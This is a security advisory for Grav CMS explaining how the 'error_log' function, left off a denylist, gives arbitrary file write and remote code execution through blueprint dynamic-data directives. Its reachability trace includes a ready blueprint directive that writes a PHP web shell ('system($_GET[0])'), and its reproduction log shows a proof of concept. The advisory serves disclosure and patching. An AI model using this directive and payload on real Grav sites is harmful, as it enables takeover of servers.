GHSA-f8wv-xp27-6gq7
Suggest an improvement- Source
- https://github.com/advisories/GHSA-f8wv-xp27-6gq7
- Import Source
- https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-f8wv-xp27-6gq7/GHSA-f8wv-xp27-6gq7.json
- JSON Data
- https://api.test.osv.dev/v1/vulns/GHSA-f8wv-xp27-6gq7
- Aliases
- Published
- 2026-09-17T20:44:16Z
- Modified
- 2026-09-17T21:00:04Z
- Severity
-
- 8.8 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
- 9.3 (Critical) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator
- Summary
- Grav: Blueprint dynamic-data bare-function branch is denylist-gated and omits error_log, giving arbitrary file write
- Details
-
Affected versions and vulnerable location
- Confirmed on grav core at
78ebfc1(tag 2.0.13). - Sinks:
system/src/Grav/Common/Data/Blueprint.php:455-458call_user_func_array($o, $params)(bare-function dynamic-data provider).- Twin:
system/src/Grav/Framework/Flex/FlexDirectory.php:936-938call_user_func_array($function, $params).
- Validation gate:
Blueprint::isSafeDynamicCall()atBlueprint.php:514-536.Class::methodbranch (:514-527) uses a strict positive allowlistself::$allowedDynamicCallables.- Bare-function branch (
:530-534) uses only a denylist:if (is_string($function) && Utils::isDangerousFunction($function)) return false; return !self::paramsContainDangerousCallable($params);.
- Denylist:
Utils::isDangerousFunction()(system/src/Grav/Common/Utils.php, list around:2020-2270).
Root cause
GHSA-7pgq/CVE-2026-64850 hardened the
Class::methodhalf of the dynamic-callable validation to a positive allowlist because a page-edit account could otherwise name any static method as a provider and reach file/secret gadgets. The bare-function half was left on a denylist (isDangerousFunction). Any bare PHP function not on that list executes.error_logis not on the denylist (verified: no occurrence inUtils.php).error_log($message, 3, $destination)appends attacker-controlled$messageto attacker-controlled file$destination, an arbitrary-file-append primitive.paramsContainDangerousCallable()(:587-603) only scans params for dangerous callable strings, so a PHP payload string and a destination path both pass. (stream_socket_client,dl, andmb_send_mailare likewise absent, giving SSRF/other primitives.)Attacker model
The same surface the published dynamic-data advisories accept as reachable: a
data-*@directive in a form blueprint the Form plugin assembles from page frontmatter (GHSA-fj2p), or adata@field in a Flex directory/pages/users blueprint (GHSA-c4wf). A page-edit / blueprint-config account, no shell.Reachability trace
- Author a blueprint field with a bare-function data directive, e.g.
data-options@: ['error_log', '<?php system($_GET[0]); ?>', 3, 'user/data/x.php']. Blueprint::init()resolves the directive;isSafeDynamicCall('error_log', $params)reaches the bare-function branch (:530),isDangerousFunction('error_log')is false,paramsContainDangerousCallable([...])is false (no callable strings), so it returns true.call_user_func_array('error_log', ['<?php ...', 3, 'user/data/x.php'])(:455) appends the PHP payload touser/data/x.php.- Writing to a web-served path (or any path later included) yields code execution. The upload extension denylist does not apply, this is a direct
error_logwrite, not an upload.
Reproduction
Executed end to end against the real
Grav\Common\Data\Blueprintclass loaded viacomposer installautoload (PHP 8.5.8, core clone at HEAD 78ebfc1). A harness called the real publicBlueprint::isSafeDynamicCall(), then drove the sink and executed the written file:[1] isSafeDynamicCall('error_log', [payload,3,dest]) => true # guard ACCEPTS error_log (bug) [2] isSafeDynamicCall('system', ['id']) => false # control isSafeDynamicCall('exec', ['id']) => false # control [3] call_user_func_array('error_log', ['<?php echo "PWNED"; ?>'.EOL, 3, '/tmp/grav_rce_proof.php']) file written: /tmp/grav_rce_proof.php (23 bytes) = <?php echo "PWNED"; ?> [4] php /tmp/grav_rce_proof.php => PWNED # arbitrary PHP executed (RCE)The guard returns true for
error_log(and false for the denylistedsystem/execcontrols), theerror_logsink wrote attacker PHP to disk, and executing that file yieldedPWNED. Source confirmation:rg -n "error_log|stream_socket_client|mb_send_mail" system/src/Grav/Common/Utils.php # no hits rg -n "isDangerousFunction|allowedDynamicCallables|call_user_func_array" system/src/Grav/Common/Data/Blueprint.phperror_logabsent fromUtils.php;Blueprint.phpgates the bare-function branch onisDangerousFunctiononly, while theClass::methodbranch uses the positive allowlist.Suggested fix
Convert the bare-function branch to a positive allowlist, symmetric with the
Class::methodallowlist at:523(only the option-provider functions first-party blueprints actually use). A denylist cannot be complete:error_log(arbitrary append),stream_socket_client(SSRF), and others must otherwise each be enumerated.Severity and CVSS reasoning
Suggested severity: High (same class and reach as GHSA-fj2p / CVE-2026-64850).
Suggested CVSS:3.1 vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H(9.6) for the RCE outcome; the maintainer may prefer the exact rating they gave GHSA-fj2p.PR:L: a blueprint/page-edit account, not super.C:H/I:H/A:H: arbitrary file write leading to code execution.
How I found it and a note on tooling
I compared the two branches of
isSafeDynamicCall(): theClass::methodbranch is a positive allowlist (the GHSA-7pgq fix) while the bare-function branch is a denylist, then checked the denylist for append/exec-capable functions and founderror_logmissing. I used AI assistance for enumeration and drafting. I then executed the realBlueprint::isSafeDynamicCall()(loaded via composer autoload) to confirm it acceptserror_logand rejectssystem/exec, and drove theerror_logsink to write and execute attacker PHP. Verification is executed end to end against the real class; I did not run it through a full HTTP request into a bootstrapped Grav site. - Confirmed on grav core at
- Database specific
{ "cwe_ids": [ "CWE-94" ], "github_reviewed": true, "github_reviewed_at": "2026-09-17T20:44:16Z", "nvd_published_at": null, "severity": "CRITICAL" }- References
Affected packages
Packagist / getgrav/grav
Package
- Name
- getgrav/grav
- Purl
- pkg:composer/getgrav/grav
Affected ranges
- Type
- ECOSYSTEM
- Events
-
Introduced0 Unknown introduced version / All previous versions are affectedFixed2.0.15